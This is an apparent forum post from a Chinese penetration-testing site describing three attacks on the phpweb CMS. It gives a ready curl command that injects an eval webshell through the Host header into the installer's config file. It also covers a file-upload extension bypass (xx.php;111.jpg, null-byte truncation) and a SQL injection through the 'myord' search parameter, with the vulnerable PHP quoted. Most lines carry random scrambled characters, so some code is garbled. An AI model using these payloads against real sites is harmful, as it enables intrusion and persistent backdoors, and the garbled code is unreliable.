中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
9 Y! S$ g  O* a5 G  M* t0 E
! i! {8 ?4 c, y1 ?. M: v之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码9 s4 K! b( f- D7 b* C1 H5 D
% r# x) ~5 F" P4 v' g: [3 x1 l* o$ ]
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
3 a7 S$ n2 _5 }3 {+ Z# x7 W鸡肋2: 有一定安全常识的站长都会删掉 install 目录
- p' V+ z' O- Y% m. e# e0 i* u
/ {$ _7 V1 }1 p2 E  l: s% K$ u9 @虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
( s2 k3 N8 m9 T. S3 G
, r2 _, B) n. ^: e. c5 H, u分析:
9 o& {& B2 C6 e, J
: x" T0 T  x6 c1 p  S
9 G. [3 o5 u, o5 t. M$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
# E; R* w" f6 I! R4 o+ R* m7 N / S  Z8 e$ Q: K  Z5 B
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
; E0 a3 t# e" V# ~" Y) v                                            $filestr=str_replace(" ","",$filestr);
, J+ I. J+ b4 U8 Q: B9 [2 p                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
9 {. p* |. Y; d, h# e                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
6 ]! f0 v8 S% P6 k0 @! B                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);7 A$ B3 Y: n5 h, n- {1 e3 h& i( g2 |
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);& o8 w  S- T# q7 ?7 `$ b
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
( a! d+ j3 w& J" V( t$ m6 M                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
" Z% e6 F$ E$ R9 A                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);& x; w9 L0 b% A" D% ]# g! B

  r6 O' g# a4 y+ d; {) q1 h                                            fwrite(fopen($ConFile,"w"),$filestr,30000);! x" M- y+ j- i9 n* T% ~) t
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
, B7 u9 m5 \0 ~7 F" F% i & W3 T8 q4 L- g2 S
poc:( K* Z  _: ^  [- ^! a

( h5 W; u1 K6 }4 S  G; i?" x0 U2 R0 s8 v4 N$ N
13 R  D) I7 I" @4 Z
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
9 c3 n" O% [' Q% gshell地址: /config.inc.php( c. U& Y! P0 ^! t- H2 w' s
跟之前的 phpcms一样 需要远程数据库
" [( L9 {. z3 K$ A* C
: [4 t: l' \8 r" L3 t- T——————————————————–
, |6 |3 Y- n0 \2 E4 k上传漏洞(需要进后台):
% n. Y0 u& l1 y漏洞文件: /kedit/upload_cgi/upload.php& k$ a7 }: f# Z# B2 O9 G/ @
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
$ `+ J; x9 e* X( U  L
. G) z+ J6 R8 y$ ^2 K3 O! l & \) r! F- [0 K) c  t  ^# {
<?php/ X5 |. ]7 B9 ~$ R- R! u% I
    define("ROOTPATH", "../../");8 ]# u+ l$ @1 u
    include(ROOTPATH."includes/admin.inc.php");1 W6 P) C  E) @# E( I
    NeedAuth(0);% _; n* s8 }/ ^
3 d! @+ n- R1 P$ |. e" E) D+ Q) U2 W, e
    $dt=date("Ymd",time());' q- i  {4 K3 ^6 ^- T
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
( V* n2 _( ?# g( i( j- f3 u* I            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
$ {( g' |8 x. E6 |: ], X  D    }
( i% q0 S& o% o9 o
8 f* U+ L/ w; |& K    //文件保存目录路径' q( b4 ?" s2 ]( W0 r
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';: J. i* Z! _  \6 x& j( _
    echo $save_path;; P4 S. ~2 D3 t' R# [0 u! V
    //文件保存目录URL
4 f; K! m- m: S. ?- Y( n    $save_url = '../../'.$_POST['attachPath'].$dt.'/';5 f" w  k: ^% b$ ]* K; |

4 q- Z* G0 y8 w. H    //定义允许上传的文件扩展名
% w3 _' \4 w1 U  a! V& C+ ?    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
% z) f& Q  W2 F/ B
# Q  ^3 C2 j2 D6 ~" O& g, k0 m, c    //最大文件大小
5 a* j# `4 J8 G' F0 ~6 a    $max_size = 1000000;
% Q* t4 w  X0 D* x5 j$ E - ~0 a: l8 _) q  @7 _5 o
    //更改目录权限6 x, E5 }$ B" w7 o6 H
    @mkdir($save_path, 0777);
: }" F8 T  P" K ; W: |/ o& V+ N5 T# A
    //文件的全部路径3 w. U& O) [2 E
    $file_path = $save_path.$_POST['fileName'];   //保存文件名, T4 Q$ L/ J' ?% w+ ^# b
. }# {9 w0 E* l, T
    //文件URL
+ w0 }) S2 F% G1 {6 s5 ?' o    $file_url = $save_url.$_POST['fileName'];9 {7 @+ O% ^; e+ P' f
//有上传文件时  P' ]  e- n1 s0 d7 L& g
    if (empty($_FILES) === false) {! t' d7 Z8 O+ [$ s+ y' y' T1 K
, W/ v) Q1 L" G1 |
            //原文件名
8 [& ~$ b% y) Z5 U. P( K            $file_name = $_FILES['fileData']['name'];- M; g. f, t+ Z) L7 y
            //服务器上临时文件名
, W& L- g, q# C! {& W! u+ u            $tmp_name = $_FILES['fileData']['tmp_name'];
/ Q  P9 D- ?" B) N            //文件大小1 c5 g7 I0 H( O; a5 B' \% r$ k
            $file_size = $_FILES['fileData']['size'];
6 v6 Y, @. o  V            //检查目录
; n9 c; D5 z1 Z; ], r; y& J            if (@is_dir($save_path) === false) {# U. _: X6 j; g' \* \
                    alert("上传目录不存在。");
. L4 [5 h5 K9 m2 t% A% s$ J            }5 P  h( `) Q* m) Q) |$ i
            //检查目录写权限
) y7 [2 W4 Q5 V0 c            if (@is_writable($save_path) === false) {; Y4 p) d' S( W! ]* a; W
                    alert("上传目录没有写权限。");' i# I. W5 b# d' @1 A( A" c
            }& Y* M8 \3 A$ p; w
            //检查是否已上传
* w6 ?! c5 R/ E            if (@is_uploaded_file($tmp_name) === false) {1 ]  H7 Q" \% G7 N
                    alert("临时文件可能不是上传文件。");/ k  r( S# L/ Q6 M, c5 N
            }
: O2 ]( S* \* ~: a! s8 ~            //检查文件大小
1 E, U4 l& ?+ A! {8 ?+ V            if ($file_size > $max_size) {
9 s4 I) H9 f- S7 U0 m                    alert("上传文件大小超过限制。");
" S  M! O6 f! ^3 q" P+ a            }
5 l0 G7 M0 k5 Z- {; S+ [5 Z            //获得文件扩展名4 c4 G$ C9 l4 U. i6 M" |. L( |
            $temp_arr = explode(".", $_POST['fileName']);
' }9 S: V2 B& s1 i8 V. k9 e7 A! G) G3 w            $file_ext = array_pop($temp_arr);
, x- m4 j2 p. h" @1 h, A            $file_ext = trim($file_ext);
! ]* q7 `- K" c            $file_ext = strtolower($file_ext);
, s0 A+ B2 @! \* B  e , ~  E5 M& @8 I& U4 _, u# y  Z5 E
            //检查扩展名   & d( n6 E' ]* C5 V2 a' o
            if (in_array($file_ext, $ext_arr) === false) {     ) T3 j' E% ~. f
                    alert("上传文件扩展名是不允许的扩展名。");, Z  ~- B' W. K% \: V: H" d
            }
2 D0 R. ~7 u+ }3 b5 u, L 7 T8 t, S# D) z9 y& y
            //移动文件   
& B5 _$ ~" c, ]0 R# X; p; n- T5 M            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
3 d4 F, O: T1 A7 N  l$ W            if (move_uploaded_file($tmp_name, $file_path) === false) {8 A  M; ]# R  ~3 D
                    alert("上传文件失败。");. @: n, L( S  N
            }
4 J+ q/ h$ f5 n" {0 }9 r0 G ( e4 e$ Y) P. u+ O( O
            @chmod($file_path,0666);$ ?, D/ `4 X( p, Q+ w

4 U' G; _2 B' Q* }( N/ X    ?>
7 R6 N% X/ F; M, J抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227% Y& z: S  `7 z6 D% H/ q
+ d# p: q; R* G; X- c$ z
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过* A% Z1 h$ ^& v/ Y1 j

5 z# R$ l8 z1 t" q( P/ B2 b0 N8 E——————————————————+ p; y' d' R+ K) P
注入漏洞:
5 s  S0 S1 y7 A1 f, B漏洞文件:search/module/search.php* J/ u/ f2 j) u) T/ [8 [0 ]
/search/index.php?key=1&myord=1 [sqlinjection]
4 p) O/ _! S7 g: v. U; t  S 2 L( j, n* u. i6 w$ u2 G: r
: q1 y# M& M5 |1 Z
<?php
0 Z& N" J5 z* `1 O   //       ... 省略 n 行...; A* f' M, U7 `" i1 X5 E$ S: L2 h3 e
   //第18行:- l: Z7 u' F2 L1 Z. g/ a
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
, h; d, o6 f- K9 F, }6 p6 T! B           $page=htmlspecialchars($_GET["page"]);
1 @1 U1 {3 s: u+ N           $myord=htmlspecialchars($_GET["myord"]);
- z4 T+ k# r# Z2 G( Z $ K4 N$ o  l2 j4 h5 S/ A
   //       ... 省略 n 行...
& r$ T- a2 g+ `   $key,$myord 两个参数带入查询, \6 u$ `" F' k
   //第47行 $key:
7 m$ q4 X. U2 a. J: p- _ 8 m1 W1 q" x) D( C
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..! L6 d0 L9 z% s( j/ s

; X& i. V+ ]7 ^$ f   //第197行 $myord. |. f; E0 h! C3 i( ]
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入3 Y, S1 C+ p0 `6 \
* P8 ^9 a# N, ~) h" q
   ?>
0 z$ i1 Z+ O7 y( \# U4 d! w( T




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2